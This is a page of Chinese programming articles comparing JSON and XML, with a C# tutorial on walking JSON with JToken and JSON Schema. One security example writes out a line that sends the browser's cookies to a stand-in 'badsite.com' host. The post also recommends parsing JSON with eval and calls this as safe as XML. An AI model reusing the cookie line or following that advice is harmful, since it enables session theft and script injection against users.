精华内容
下载资源
问答
  • json与xml对比

    2013-01-10 11:12:32
    曾几何时,XML是程序员的宠儿,是数据传输、API、AJAX应用等方面的不二选择,但自从JSON横空出世后,或者你会发觉你身边就有很多人开始抛弃XML,在他们的心目中,JSON已经完全取代了XML的位置。JSON有很多优势,但也...

    曾几何时,XML是程序员的宠儿,是数据传输、API、AJAX应用等方面的不二选择,但自从JSON横空出世后,或者你会发觉你身边就有很多人开始抛弃XML,在他们的心目中,JSON已经完全取代了XML的位置。JSON有很多优势,但也存在缺点,而XML虽然确实存在不少问题,但孰优孰劣,并不是可以依据个人喜好就轻易得出结论的。

    JSON(Javascript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一个子集。JSON采用完全独立于语言的文本格式,但是也使用了类似于C语言家族的习惯(包括C, C++, C#, Java, Javascript, Perl, Python等)。这些特性使JSON成为理想的数据交换语言。 正是因为这样,twitter已经声称他们的流媒体API将不再支持XML,Foursquare则强烈推荐开发者在使用他们的API时选择JSON,因为他们计划下一代接口只支持JSON。

    老k博客将从下面几个方面来客观比较一下两者

    • 1. 可读性
    • 2. 是否易于在服务端创建数据
    • 3. 是否易于在客户端处理数据
    • 4. 扩展性
    • 5. 调试和故障排除
    • 6. 安全

    可读性

    两者都具备很好的可读性,但从实际应用出发,个人还是觉得XML文档的可读性无疑会更高,要求你从一大堆的json代码里看出它的结构层次关系还是相对比较困难的;而且现在很多的IDE工具都可以把XML格式化成易读的结构形式,看起来相当舒服,而json则不然。在这一方面我投XML一票。

    是否易于在服务端创建数据

    XML已经流行了好多年了,故目前流行的编程语言都已经存在大量的XML数据绑定API去进行创建XML,以java语言为例,你既可以用JAXB,又可以用XmlBeans,又或者dom4jjdom等去把数据写到xml文件中。而另一方面,json这一方面的API则相对是一个全新的领域,尽管如此,json官方网站还是列出了很多令人印象深刻的各种语言的API,java方面比较著名的有json-lib,此外gson也算一个。在这一方面,虽然json相对于XML并不是望尘莫及,但还是略微逊色一筹,尤其是在复杂的应用方面,XML方面的API已经存在多年,相对来说成熟稳定得多了。

    是否易于在客户端处理数据

    在客户端,要处理XMLHttpRequest请求返回的json格式响应数据是一件轻而易举的事情,只需要使用javascript的eval函数就可以实现把json格式的数据转换成javascript对象,然后通过对象的属性去访问值,这就是json最优雅之处,无数人为之着迷。而XML在这一方面就不是那么的友善了,曾令无数的程序员头痛不已,因为处理XML响应数据,你得通过DOM树,这是非常繁琐且容易出错的工作。这一点,我毫不犹豫地选择json。

    扩展性

    可扩展性有助于减少生产者与消费者之间的数据耦合。在AJAX应用里,客户端脚本应该合理地兼容不可知的数据扩展。

    毫无疑问,XML是可扩展的,但它的扩展是有局限的,因为如果你要适应扩展的话,那么你的客户端代码不得不作出相应的改动,如以下的客户端解析代码

     
    1var xml = xhr.responseXML;
    2 var elements = xml.getElementsByTagName("firstName");
    3 var firstNameEl = elements[0];
    4 var lastNameEl = firstNameEl.nextSibling;

    如果你在响应xml中<firstName>结点后增加了<middlename>这一结点的话,那以上的代码就要作相应的改变,否则会出错,也就是说,XML的扩展得伴随着解析代码的变更,这可没有什么魔法可言。而json则简单得多,即使你要增加middleName这一属性,在js客户端依然是通过对象访问属性值即可,而不会引起js上的语法出错之类的错误,导致程序无法执行。

    调试和故障排除

    这方面需要从服务端和客户端两方面进行考虑,在服务器端,要确保数据是格式良好的和有效的;在客户端,它应该容易调试错误的。

    使用XML的话会相对容易地检查数据被发送到客户端是格式良好的和有效的。您还可以使用数据架构(schema)来验证xml的正确性和有效性。使用JSON,这个任务是手动的,并涉及验证响应对象中是否包含正确的属性。

    在客户端,要从两者中找到错误都是比较困难的。对于XML,浏览器是完全无法将xml格式化成responseXML;如果对于数据量较少的json数据,还可以通过firebug来发现错误,但对于大数据量的话,那只能靠手工检查了,否则也只能坐以待毙了。
    安全性

    有人认为,使用json是不安全的,原因是json里可以包含js代码,而客户端中使用eval可以使这些代码执行,而这些代码可能会存在安全隐患。如以下的代码:

     
    1window.location = "<a href="http://badsite.com/">http://badsite.com</a>?" + document.cookie;
    2 person : {
    3 "firstName": "Subbu",
    4 "lastName": "Allamaraju"
    5 }

    上面的代码会导致浏览器把用户的cookie数据提交到一个流氓网站。但出现这种情况的可能只会是开发者故意为之,别人是无法这样做的,但如果是开发者有意为之的话,那他一样以别的方式来实现把你的cookie数据提交到流氓网站,这与是否使用json无关,所以相对于XML,json是同样的安全的。

    我的结论

    面向数据的应用,个人比较喜欢使用json,因为它简单和易于在客户端进行处理,或者xml在服务器是无与伦比的,但json在客户端的优势也是很明显的。

    另外,json官方也有一篇专门比较两者的文章,大家可以参考一下:《JSON: The Fat-Free Alternative to XML

    转载地址: http://www.laokboke.net/2011/10/30/json-vs-xml/
    展开全文
  • 所以要求无论嵌套了多少层,都要拿到最终节点,并且给特定的节点赋予规则,让这一类json数据对应节点进行对比时,遵循节点的规则。这个任务其实可以拆解为三个任务: 拿到这类json的标准结构描述,并且在节点上...

    前段时间武哥安排了个任务:把结构动态的Json数据结构解析出来。所以要求无论嵌套了多少层,都要拿到最终节点,并且给特定的节点赋予规则,让这一类json数据对应节点进行对比时,遵循节点的规则。这个任务其实可以拆解为三个任务:

    1. 拿到这类json的标准结构描述,并且在节点上标记规则
    2. 将json数据层层解构拿到所有节点,然后拿着数据节点去标准结构json里找到对应的节点,然后读取规则
    3. 将节点和规则存储为字典,key要独一无二

    这样就将整个json数据转为了一个无序的规则字典。而这个规则字典不仅key唯一,还要在value里存储值和规则。这个任务不能说太难,也不能说太简单。首先我采用了一个看似合理的方案,即对json数据进行反序列化,心里想着反序列化为字典后就好搞多了,**但问题是面对复杂的json结构,你得层层反序字典,最关键的是你根本不知道有多少层。**最后武哥说可以参照下java里的JNode,于是乎在网上搜了很多,终于让我找到一种解决方案,就是用JToken,也就是Java里的JNode。然后翻遍全网,发现没有说的特别仔细点 ,于是基本JToken所有的方法我都实现了一遍,这里详细记录下,希望对大家有帮助。当然,从这篇博客开始,我准备采用解决方案和日常学习分离的策略,所以解决方案或者最佳实践不会掺杂原理性的介绍,直接上实战,为什么这样做,文末会有答案.

    依照上边三个抛出的问题,制定了这样一套解决方案:

    1. json的标准结构使用JsonSchema来搞定,通过在Shema这个json数据的结构标准化描述上添加规则,因为Schema是此类数据的最标准描述,无论结构如何嵌套,Schema都可以搞定
    2. json层层结构拿到所有节点需要使用递归加循环的算法,这样才能走到每一个节点
    3. 唯一的key可以使用JToken里的JPath来限定,限定好后,就可以生成规则字典,value使用两个属性的类,一个为规则,一个为值,通过key可以拿到节点一切相关信息。

    准备工作

    在真正的代码实现前,先对要用到的知识来个实战,这样实现代码的时候很方便,再强调一下,每一个方法都要有单元测试!单元测试很重要!可以节约大量的找bug时间

    JsonSchema简单使用

    简单来说就是描述Json数据的一种数据结构,本身也是Json结构。什么是JsonSchema,以及基本原理,我在自己的另一篇博客里有对类似的XML Schema的详细记录,如果想详细了解,传送门送上:

    【XML学习 三】XML Schema原理及使用 https://blog.csdn.net/sinat_33087001/article/details/80890714

    如果想了解的更加深入,这里有标准制定的文档,一并奉上:

    Json Schema文档说明 http://json-schema.org/latest/json-schema-validation.html#rfc.section.3.2.1

    还是那句话,这里只讲实战:

    1. 首先要生成Json Schema就要拿到标准的Json数据,设计方案前期,由于考虑到xml也有解析的需求,所以通过xml转json来使两种数据结构公用一套代码,那么乱序的json和xml首先就要格式化一下,直接用在线格式化:

    xml转Json以及json格式标准化网址: https://www.json.cn/

    1. 其次就要对拿到的标准json数据进行Schema生成,这个也可以使用在线生成工具:

    Json Schema自动生成工具: https://jsonschema.net/
    这里写图片描述
    这里写图片描述

    1. 最后可以校验生成的Schema是否标准(其实第二步生成的应该是标准的,这一步无需做):

    Json Schema在线验证工具 https://jsonschemalint.com/#/version/draft-06/markup/json

    做完了这些,一份Json Schema就生成成功了**(注意我会在Schema的description里添加Description属性,并且在里边写上自己的对比规则)**,我自己的项目里是存储到了数据库里面,为了方便说明和讲解,这里我放到txt里说明,并且为此写了一个txt的读取方法。

    #region 文件读取类
    
            /// <summary>
            /// 读取Schema文件
            /// </summary>
            /// <param name="filePath"></param>
            /// <returns></returns>
            public string ReadFile(string filePath)
            {
                StreamReader sr = null;
                string json = "";
                try
                {
                 `这里写代码片`  //一定要注意这里要用Encoding.Default限定编码格式,否则你的数据可能会乱码哦。
                    sr = new StreamReader(@filePath, Encoding.Default); 
                    string nextLine;
    
                    while ((nextLine = sr.ReadLine()) != null)
                    {
                        json = json + nextLine.ToString();
                    }
                }
                catch (Exception ex)
                {
                    logger.Error(ex + "文件读取失败");
                }
                finally
                {
                    sr.Close();
                }
    
                return json;
            }
    
            #endregion 文件读取类
    

    JToken的简单使用

    这里展示JToken的常用方法,我认为解构一个Json解构这些操作基本就够了。
    首先给出一个Json数据的样本格式

    {
      "checked": false,
      "dimensions": {
        "width": 5,
        "height": 10
      },
      "variables": [
        {
          "code": "id",
          "name": "TML",
          "dataType": "String",
          "defaultValue": "",
          "showFlag": "0",
          "showValue": ""
        },
        {
          "code": "metaObjName",
          "name": "beijing",
          "defaultValue": "",
          "showValue": "",
          "dataType": "String",
          "showFlag": "0"
        },
        {
          "code": "detailViewName",
          "name": "shagnhai ",
          "defaultValue": "",
          "showValue": "",
          "dataType": "String",
          "showFlag": "0"
        }
      ],
      "id": 1,
      "name": "A green door",
      "price": 12.5,
      "tags": [
        "home",
        "green"
      ]
    }
    

    然后给出Jtoken对该数据的解析操作:

     #region Jtoken数据使用测试
    
            [TestMethod]
            public void JsonTokenTest()
            {
                //一切的一切开始之前,需要把Json数据转换为JTken格式的数据
                JToken jsonValueToken = JToken.Parse(jsr.ReadFile(filePath));//将json数据转换为JToken
                JToken first = jsonValueToken.First; //first为:{"checked": false},也就是第一个子节点
                JToken last = jsonValueToken.Last;//last为:{"tags": ["home","green"]},也就是最后一个子节点
                var jsonHaveChild = jsonValueToken.HasValues;//为true,表名当前节点并非叶子节点
                JToken itemTages = jsonValueToken.SelectToken("tags");//{"tags": ["home","green"]},该方法的作用是依据传入的路径来获取节点的值,这个方法非常重要!!!,就是依靠它和唯一的路径我才能拿到值
                var itemTagesType = itemTages.Type;//当前节点类型,目前已知有Array.object,int ,string,bool
                var itemTagesHaveChild = itemTages.HasValues;
                JToken items = jsonValueToken.SelectToken("variables");
                var itemType = items.Type;
                var itemHaveChild = items.HasValues;
                var jpath = "variables[0].code";  //如果遇到数组,路径会加索引标记哦,这就是为什么虽然数组结构统一,我依然能有唯一的路径!!
                var enumNode = jsonValueToken.SelectToken(jpath);//通过路径获取一个实体
                var enumType = enumNode.Type;
                var enumHaveChild = enumNode.HasValues;
                foreach (var item in items)
                {
                    var path = item.Path;   //路径为从根节点root开始一直到当前节点
                    var next = item.Next;    //当前节点的兄弟节点,同级的
                    var parent = item.Parent;  //当前节点的父节点
                    var lasts = item.Last;
                    var root = item.Root; //当前节点的根节点
                    var type = item.Type; //当前节点的类型
                    var haveChild = item.HasValues;
                }
                var childs = jsonValueToken.Children();
                foreach (var item in jsonValueToken)
                {
                    var path = item.Path;
                    var next = item.Next;
                    var parent = item.Parent;
                    var lasts = item.Last;
                    var root = item.Root;
                    var type = item.Type;
                    var haveChild = item.HasValues;
                }
            }
    
            #endregion Jtoken数据使用测试
    

    开始实战

    掌握了上边两个利器,就可以开始实战了(以下过程都是基于json数据和jsonSchema数据都已经搞定并存储在txt): 最初的想法开始的想法是将Json Schema读取出来,然后生成一个key为路径,value为规则的字典,然后拿着路径到json数据中找到数据,最后达到生成<path,(rule,value)>d字典的目标

    初始化Json Schema字典

    代码清单如下:

    #region 递归schema树获取所有规则和路径
    
            public void SchemalevelTraverse(JToken json, ref Dictionary<string, string> jsonDic)
            {
                //如果没有属性节点了,说明已经是叶子节点了
                if (json.SelectToken("properties") == null)
                {
                    if (json.SelectToken("items") == null)
                    {
                        if (json.SelectToken("description") != null)  //这里是我用于填充规则的
                        {
                            string rule = json.Value<string>("description");//从Json里取出规则值
                            if (!jsonDic.ContainsKey(json.Path))
                            {
                                jsonDic.Add(json.Path, rule);
                            }
                        }
                    }
                    else {
                        var itemProperties = json.SelectToken("items").SelectToken("properties");
                        if (itemProperties != null)
                        {
                            foreach (var item in itemProperties)
                            {
                                if (item.First != null)
                                {
                                    SchemalevelTraverse(item.First, ref jsonDic);
                                }
                            }
                        }
                    }
    
                    return;
                }
    
                foreach (var item in json.SelectToken("properties"))    //循环所有子节点
                {
                    if (item.First != null)
                    {
                        SchemalevelTraverse(item.First, ref jsonDic);   //递归调用
                    }
                }
            }
    
            #endregion 递归schema树获取所有规则和路径
    

    转换路径

    因为生成的路径多有Propertys和item,所以我将拿到的路径做处理,得到新的路径去Json数据里找值,生成路径代码如下所示:

    #region 替换掉所有的properties
    
            public string GeValuePath(string oldPath)
            {
                var newPath = oldPath.Replace("properties.", "");  //处理所有properties
                var lastPath = newPath.Replace(".items", "[0]"); //这里是个大坑!!!!!
                return lastPath;
            }
    
            #endregion 替换掉所有的properties
    

    没错,很快我就发现了问题,object类型还好,Array类型就麻烦了,由于JsonSchema只是描述Json结构的,所以它无需拥有每个数组的结构,也就没有每个数组的路径:看下JsonSchema长这样:

    {
      "$id": "http://example.com/example.json",
      "type": "object",
      "properties": {
        "checked": {
          "$id": "/properties/checked",
          "type": "boolean",
          "title": "The Checked Schema ",
          "description": "Equal",
          "default": false,
          "examples": [
            false
          ]
        },
        "dimensions": {
          "$id": "/properties/dimensions",
          "type": "object",
          "properties": {
            "width": {
              "$id": "/properties/dimensions/properties/width",
              "type": "integer",
              "title": "The Width Schema ",
              "description": "Equal",
              "default": 0
            },
            "height": {
              "$id": "/properties/dimensions/properties/height",
              "type": "integer",
              "title": "The Height Schema ",
              "description": "Equal",
              "default": 0,
              "examples": [
                10
              ]
            }
          }
        },
        "variables": { 
          "$id": "/properties/variables",
          "type": "array",   //就是这里的问题,不管你有多少个元素,它只给你展示结构
          "items": { 
            "$id": "/properties/variables/items",
            "type": "object",
            "properties": {
              "code": {
                "$id": "/properties/variables/items/properties/code",
                "type": "string",
                "title": "The Code Schema ",
                "description": "Equal",
                "default": "",
                "examples": [
                  "id"
                ]
              },
              "name": {
                "$id": "/properties/variables/items/properties/name",
                "type": "string",
                "title": "The Name Schema ",
                "description": "Equal",
                "default": "",
                "examples": [
                  "业务实体数据Id"
                ]
              },
              "dataType": {
                "$id": "/properties/variables/items/properties/dataType",
                "type": "string",
                "title": "The Datatype Schema ",
                "default": "",
                "examples": [
                  "String"
                ]
              },
              "defaultValue": {
                "$id": "/properties/variables/items/properties/defaultValue",
                "type": "string",
                "title": "The Defaultvalue Schema ",
                "description": "Equal",
                "default": "",
                "examples": [
                  ""
                ]
              },
              "showFlag": {
                "$id": "/properties/variables/items/properties/showFlag",
                "type": "string",
                "title": "The Showflag Schema ",
                "description": "Equal",
                "default": "",
                "examples": [
                  "0"
                ]
              },
              "showValue": {
                "$id": "/properties/variables/items/properties/showValue",
                "type": "string",
                "title": "The Showvalue Schema ",
                "description": "Equal",
                "default": "",
                "examples": [
                  ""
                ]
              }
            }
          }
        },
        "id": {
          "$id": "/properties/id",
          "type": "integer",
          "title": "The Id Schema ",
          "description": "Mapping",
          "default": 0,
          "examples": [
            1
          ]
        },
        "name": {
          "$id": "/properties/name",
          "type": "string",
          "title": "The Name Schema ",
          "description": "Equal",
          "default": "",
          "examples": [
            "A green door"
          ]
        },
        "price": {
          "$id": "/properties/price",
          "type": "number",
          "title": "The Price Schema ",
          "description": "Equal",
          "default": 0,
          "examples": [
            12.5
          ]
        },
        "tags": {
          "$id": "/properties/tags",
          "type": "array",
          "items": {
            "$id": "/properties/tags/items",
            "type": "string",
            "title": "The 0th Schema ",
            "default": "",
            "examples": [
              "home",
              "green"
            ]
          }
        }
      }
    }
    

    由于结构使我拿不到其它数组元素的路径,我也就拿不到所有数组元素的节点的值,我想了很多,甚至递归判断共有多少个节点,和武哥讨论后,他给出了一个方案,就是拿大的装小的,现在json数据比schema大,那么可以先获取数据的节点路径和值,再将节点路径简化为schema的路径(也就是把各种索引去掉),这样就可以拿到规则。

    最佳实践

    采用大装小的战略后,事情解决起来很容易,事实证明,换个角度思考,可能问题就解决掉了。

    初始化Json数据字典

    初始化数据的<path,value>字典

     #region 递归JsonValue树获取所有路径-值字典
    
            public void JsonValueTraverse(JToken json, ref Dictionary<string, string> jsonDic)
            {
                if (!json.HasValues)  //如果json没有子节点了,说明已经到了叶子节点,该完整路径为叶子节点path
                {
                    var value = json.Value<object>().ToString();
                    if (!jsonDic.ContainsKey(json.Path))  //如果已经存在了,则不需要重复添加
                    {
                        jsonDic.Add(json.Path, value);
                    }
                    else {
                        logger.Error("添加了重复节点,节点路径为" + json.Path + "节点值为" + value);
                    }
                }
    
                foreach (var item in json.Children())    
                {
                    JsonValueTraverse(item, ref jsonDic);   //递归选取子节点
                }
            }
    
            #endregion 递归JsonValue树获取所有路径-值字典
    
    

    转换为schema路径

    将数据路径转换为Schema路径

    #region 转换为schema路径
    
            public string GetRulePath(string oldPath)
            {
                var newPath = oldPath.Replace(".", ".properties.");  //处理所有properties
                var expr = @"\[\d+\]";   
    
                var lastPath = Regex.Replace(newPath, expr, ".items");   //用正则替换所有索引
                return lastPath;
            }
    
            #endregion 转换为schema路径
    

    得到最终字典

    代码清单:

       #region 初始化路径-(值,规则)字典
    
            /// <summary>
            /// 初始化字典
            /// </summary>
            /// <param name="json"></param>
            /// <param name="schema"></param>
            /// <param name="type">0表示json数据,1表示xml数据</param>
            /// <returns></returns>
            public Dictionary<string, JsonSchemaObject> InitialJsonRule(string json, string schema, int type)
            {
                var jsonValue = JToken.Parse(json);
                var JsonSchema = JToken.Parse(schema);
                //初始化路径--规则字典
                Dictionary<string, string> jsonDic = new Dictionary<string, string>();
                JsonValueTraverse(jsonValue, ref jsonDic);
                Dictionary<string, JsonSchemaObject> ruleDic = new Dictionary<string, JsonSchemaObject>();
                //规范化字典名称
                foreach (var item in jsonDic)
                {
                    JsonSchemaObject jso = new JsonSchemaObject();
                    var schemaPath = GetRulePath(item.Key);  //将路径转为schemaPath去获取规则
                    if (type == 1)
                    {
                        schemaPath = GetStrAfterFirstPoint(schemaPath); //如果是xml类型的数据,还需要把路径头的名去掉
                    }
                    JToken node = JsonSchema.SelectToken(schemaPath);
                    if (node != null)
                    {
                        if (node.SelectToken("description") != null)
                        {
                            jso.rule = node.Value<string>("description");//从Json里取出规则值
                        }
                        else {
                            jso.rule = "Equal";
                        }
                        jso.value = item.Value;
                        ruleDic.Add(item.Key, jso);  //只存储有规则的字段,没有规则的不管,不比较,也不关心
                    }
                }
                return ruleDic;
            }
    
            #endregion 初始化路径-(值,规则)字典
    

    因为xml数据转为json前,需要带着最外层尖括号的名字,为了路径一致,这里我们去掉

    #region xml转json需要替换头一个名
    
            public string GetStrAfterFirstPoint(string schema)
            {
                var index = schema.IndexOf(".");
                var newSchema = schema.Substring(index);
                return newSchema;
            }
    
            #endregion xml转json需要替换头一个名
    

    附送一个xml转json的方法哦:

    #region xml转为json
    
            public string XmlToJson(string xmlStr)
            {
                XmlDocument doc = new XmlDocument();
                doc.LoadXml(xmlStr);
                return Newtonsoft.Json.JsonConvert.SerializeXmlNode(doc);
            }
    
            #endregion xml转为json
    

    思考过程

    第一步将Schema和Json数据都存储好之后,使用上述方法读取,要知道读取之后只是简单的字符串,在尝试了反序列化字典无果之后,突发奇想,如果把Json当成颗多叉树呢?,使用递归遍历的方式不就可以拿到所有节点了么?
    做完之后有些反思:解决方案性学习和原理性学习是两回事儿,譬如CLR这类的可以追更溯源,而解决方案类问题不应将过多精力投入去从基础学习,应该自顶向下,先找到大致的解决方案,然后哪里不会再查哪里,这样效率高。就像Schema这个学习,之前学习虽说出了几篇博文,但对于实质问题的解决并没有帮助,反倒是直接搜索解决方案,之后对Schema的理解更深了。对JToken 的使用也加深了。

    展开全文
  • XML 与 JSON 优劣对比

    2019-02-10 16:25:31
    JSON 很快就会在 Web 开发中超过 XML。至于其他领域,XML 比 JSON 更好的情况并不多。 -- Tom Strassner   简介 XML 和 JSON 是现今互联网中最常用的两种数据交换格式。XML 格式由 W3C 于 1996 年提出。JSON...

    信 JSON 很快就会在 Web 开发中超过 XML。至于其他领域,XML 比 JSON 更好的情况并不多。

    -- Tom Strassner

     

    简介

    XML 和 JSON 是现今互联网中最常用的两种数据交换格式。XML 格式由 W3C 于 1996 年提出。JSON 格式由 Douglas Crockford 于 2002 年提出。虽然这两种格式的设计目标并不相同,但它们常常用于同一个任务,也就是数据交换中。XML 和 JSON 的文档都很完善(RFC 7159[1]、RFC 4825[2]),且都同时具有人类可读性human-readable和机器可读性machine-readable。这两种格式并没有哪一个比另一个更强,只是各自适用的领域不用。(LCTT 译注:W3C 是互联网联盟[3],制定了各种 Web 相关的标准,如 HTML、CSS 等。Douglas Crockford 除了制定了 JSON 格式,还致力于改进 JavaScript,开发了 JavaScript 相关工具 JSLint[4] 和 JSMin[5])

    XML 的优点

    XML 与 JSON 相比有很多优点。二者间最大的不同在于 XML 可以通过在标签中添加属性这一简单的方法来存储元数据metadata。而使用 JSON 时需要创建一个对象,把元数据当作对象的成员来存储。虽然二者都能达到存储元数据的目的,但在这一情况下 XML 往往是更好的选择,因为 JSON 的表达形式会让客户端程序开发人员误以为要将数据转换成一个对象。举个例子,如果你的 C++ 程序需要使用 JSON 格式发送一个附带元数据的整型数据,需要创建一个对象,用对象中的一个名称/值对name/value pair来记录整型数据的值,再为每一个附带的属性添加一个名称/值对。接收到这个 JSON 的程序在读取后很可能把它当成一个对象,可事实并不是这样。虽然这是使用 JSON 传递元数据的一种变通方法,但他违背了 JSON 的核心理念:“JSON 的结构与常规的程序语言中的结构相对应,而无需修改。JSON’s structures look like conventional programming language structures. No restructuring is necessary.”1

    虽然稍后我会说这也是 XML 的一个缺点,但 XML 中对命名冲突、前缀prefix的处理机制赋予了它 JSON 所不具备的能力。程序员们可以通过前缀来把统一名称给予两个不同的实体。2 当不同的实体在客户端中使用的名称相同时,这一特性会非常有用。

    XML 的另一个优势在于大多数的浏览器可以把它以具有高可读性和强组织性的方式highly readable and organized way展现给用户。XML 的树形结构让它易于结构化,浏览器也让用户可以自行展开或折叠树中的元素,这简直就是调试的福音。

    XML 对比 JSON 有一个很重要的优势就是它可以记录混合内容mixed content。例如在 XML 中处理包含结构化标记的字符串时,程序员们只要把带有标记的文本放在一个标签内就可以了。可因为 JSON 只包含数据,没有用于指明标签的简单方式,虽然可以使用处理元数据的解决方法,但这总有点滥用之嫌。

    JSON 的优点

    JSON 自身也有很多优点。其中最显而易见的一点就是 JSON 比 XML 简洁得多。因为 XML 中需要打开和关闭标签,而 JSON 使用名称/值对表示数据,使用简单的 { 和 } 来标记对象,[和 ] 来标记数组,, 来表示数据的分隔,: 表示名称和值的分隔。就算是使用 gzip 压缩,JSON 还是比 XML 要小,而且耗时更少。3 正如 Sumaray 和 Makki 在实验中指出的那样,JSON 在很多方面都比 XML 更具优势,得出同样结果的还有 Nurseitov、Paulson、Reynolds 和 Izurieta。首先,由于 JSON 文件天生的简洁性,与包含相同信息的 XML 相比,JSON 总是更小,这意味着更快的传输和处理速度。第二,在不考虑大小的情况下,两组研究 4 5 表明使用 JSON 执行序列化和反序列化的速度显著优于使用 XML。第三,后续的研究指出 JSON 的处理在 CPU 资源的使用上也优于 XML。研究人员发现 JSON 在总体上使用的资源更少,其中更多的 CPU 资源消耗在用户空间,系统空间消耗的 CPU 资源较少。这一实验是在 RedHat 的设备上进行的,RedHat 表示更倾向于在用户空间使用 CPU 资源。6 不出意外,Sumaray 和 Makki 在研究里还说明了在移动设备上 JSON 的性能也优于 XML。7 这是有道理的,因为 JSON 消耗的资源更少,而移动设备的性能也更弱。

    JSON 的另一个优点在于其对对象和数组的表述和宿主语言host language中的数据结构相对应,例如对象object、记录record、结构体struct、字典dictionary、哈希表hash table、键值列表keyed list还有数组array、向量vector、列表list,以及对象组成的数组等等。8 虽然 XML 里也能表达这些数据结构,也只需调用一个函数就能完成解析,而往往需要更多的代码才能正确的完成 XML 的序列化和反序列化处理。而且 XML 对于人类来说不如 JSON 那么直观,XML 标准缺乏对象、数组的标签的明确定义。当结构化的标记可以替代嵌套的标签时,JSON 的优势极为突出。JSON 中的花括号和中括号则明确表示了数据的结构,当然这一优势也包含前文中的问题,在表示元数据时 JSON 不如 XML 准确。

    虽然 XML 支持命名空间namespace与前缀prefix,但这不代表 JSON 没有处理命名冲突的能力。比起 XML 的前缀,它处理命名冲突的方式更简洁,在程序中的处理也更自然。在 JSON 里,每一个对象都在它自己的命名空间中,因此不同对象内的元素名称可以随意重复。在大多数编程语言中,不同的对象中的成员可以包含相同的名字,所以 JSON 根据对象进行名称区分的规则在处理时更加自然。

    也许 JSON 比 XML 更优的部分是因为 JSON 是 JavaScript 的子集,所以在 JavaScript 代码中对它的解析或封装都非常的自然。虽然这看起来对 JavaScript 程序非常有用,而其他程序则不能直接从中获益,可实际上这一问题已经被很好的解决了。现在 JSON 的网站的列表上展示了 64 种不同语言的 175 个工具,它们都实现了处理 JSON 所需的功能。虽然我不能评价大多数工具的质量,但它们的存在明确了开发者社区拥抱 JSON 这一现象,而且它们切实简化了在不同平台使用 JSON 的难度。

    二者的动机

    简单地说,XML 的目标是标记文档。这和 JSON 的目标想去甚远,所以只要用得到 XML 的地方就尽管用。它使用树形的结构和包含语义的文本来表达混合内容以实现这一目标。在 XML 中可以表示数据的结构,但这并不是它的长处。

    JSON 的目标是用于数据交换的一种结构化表示。它直接使用对象、数组、数字、字符串、布尔值这些元素来达成这一目标。这完全不同于文档标记语言。正如上面说的那样,JSON 没有原生支持混合内容mixed content的记录。

    软件

    这些主流的开放 API 仅提供 XML:亚马逊产品广告 APIAmazon Product Advertising API。

    这些主流 API 仅提供 JSON:脸书图 APIFacebook Graph API、谷歌地图 APIGoogle Maps API、推特 APITwitter API、AccuWeather API、Pinterest API、Reddit API、Foursquare API。

    这些主流 API 同时提供 XML 和 JSON:谷歌云存储Google Cloud Storage、领英 APILinkedin API、Flickr API。

    根据可编程网络Programmable Web 9 的数据,最流行的 10 个 API 中只有一个是仅提供 XML 且不支持 JSON 的。其他的要么同时支持 XML 和 JSON,要么只支持 JSON。这表明了大多数应用开发者都更倾向于使用支持 JSON 的 API,原因大概是 JSON 更快的处理速度与良好口碑,加之与 XML 相比更加轻量。此外,大多数 API 只是传递数据而非文档,所以 JSON 更加合适。例如 Facebook 的重点在于用户的交流与帖子,谷歌地图则主要处理坐标和地图信息,AccuWeather 就只传递天气数据。总之,虽然不能说天气 API 在使用时究竟是 JSON 用的多还是 XML 用的多,但是趋势明确偏向了 JSON。10 11

    这些主流的桌面软件仍然只是用 XML:Microsoft Word、Apache OpenOffice、LibreOffice。

    因为这些软件需要考虑引用、格式、存储等等,所以比起 JSON,XML 优势更大。另外,这三款程序都支持混合内容,而 JSON 在这一点上做得并不如 XML 好。举例说明,当用户使用 Microsoft Word 编辑一篇论文时,用户需要使用不同的文字字形、文字大小、文字颜色、页边距、段落格式等,而 XML 结构化的组织形式与标签属性生来就是为了表达这些信息的。

    这些主流的数据库支持 XML:IBM DB2、Microsoft SQL Server、Oracle Database、PostgresSQL、BaseX、eXistDB、MarkLogic、MySQL。

    这些是支持 JSON 的主流数据库:MongoDB、CouchDB、eXistDB、Elastisearch、BaseX、MarkLogic、OrientDB、Oracle Database、PostgreSQL、Riak。

    在很长一段时间里,SQL 和关系型数据库统治着整个数据库市场。像甲骨文Oracle和微软Microsoft这样的软件巨头都提供这类数据库,然而近几年 NoSQL 数据库正逐步受到开发者的青睐。也许是正巧碰上了 JSON 的普及,大多数 NoSQL 数据库都支持 JSON,像 MongoDB、CouchDB 和 Riak 这样的数据库甚至使用 JSON 来存储数据。这些数据库有两个重要的特性是它们适用于现代网站:一是它们与关系型数据库相比更容易扩展more scalable;二是它们设计的目标就是 web 运行所需的核心组件。12 由于 JSON 更加轻量,又是 JavaScript 的子集,所以很适合 NoSQL 数据库,并且让这两个品质更容易实现。此外,许多旧的关系型数据库增加了 JSON 支持,例如 Oracle Database 和 PostgreSQL。由于 XML 与 JSON 间的转换比较麻烦,所以大多数开发者会直接在他们的应用里使用 JSON,因此开发数据库的公司才有支持 JSON 的理由。(LCTT 译注:NoSQL 是对不同于传统的关系数据库的数据库管理系统的统称。参考来源[6]) 13

    未来

    对互联网的种种变革中,最让人期待的便是物联网Internet of Things(IoT)。这会给互联网带来大量计算机之外的设备,例如手表、温度计、电视、冰箱等等。这一势头的发展良好,预期在不久的将来迎来爆发式的增长。据估计,到 2020 年时会有 260 亿 到 2000 亿的物联网设备被接入互联网。14 15 几乎所有的物联网设备都是小型设备,因此性能比笔记本或台式电脑要弱很多,而且大多数都是嵌入式系统。因此,当它们需要与互联网上的系统交换数据时,更轻量、更快速的 JSON 自然比 XML 更受青睐。16 受益于 JSON 在 web 上的快速普及,与 XML 相比,这些新的物联网设备更有可能从使用 JSON 中受益。这是一个典型的梅特卡夫定律的例子,无论是 XML 还是 JSON,抑或是什么其他全新的格式,现存的设备和新的设备都会从支持最广泛使用的格式中受益。

    Node.js 是一款服务器端的 JavaScript 框架,随着她的诞生与快速成长,与 MongoDB 等 NoSQL 数据库一起,让全栈使用 JavaScript 开发成为可能。这些都预示着 JSON 光明的未来,这些软件的出现让 JSON 运用在全栈开发的每一个环节成为可能,这将使应用更加轻量,响应更快。这也是任何应用的追求之一,所以,全栈使用 JavaScript 的趋势在不久的未来都不会消退。17

    此外,另一个应用开发的趋势是从 SOAP 转向 REST。18 19 20 XML 和 JSON 都可以用于 REST,可 SOAP 只能使用 XML。

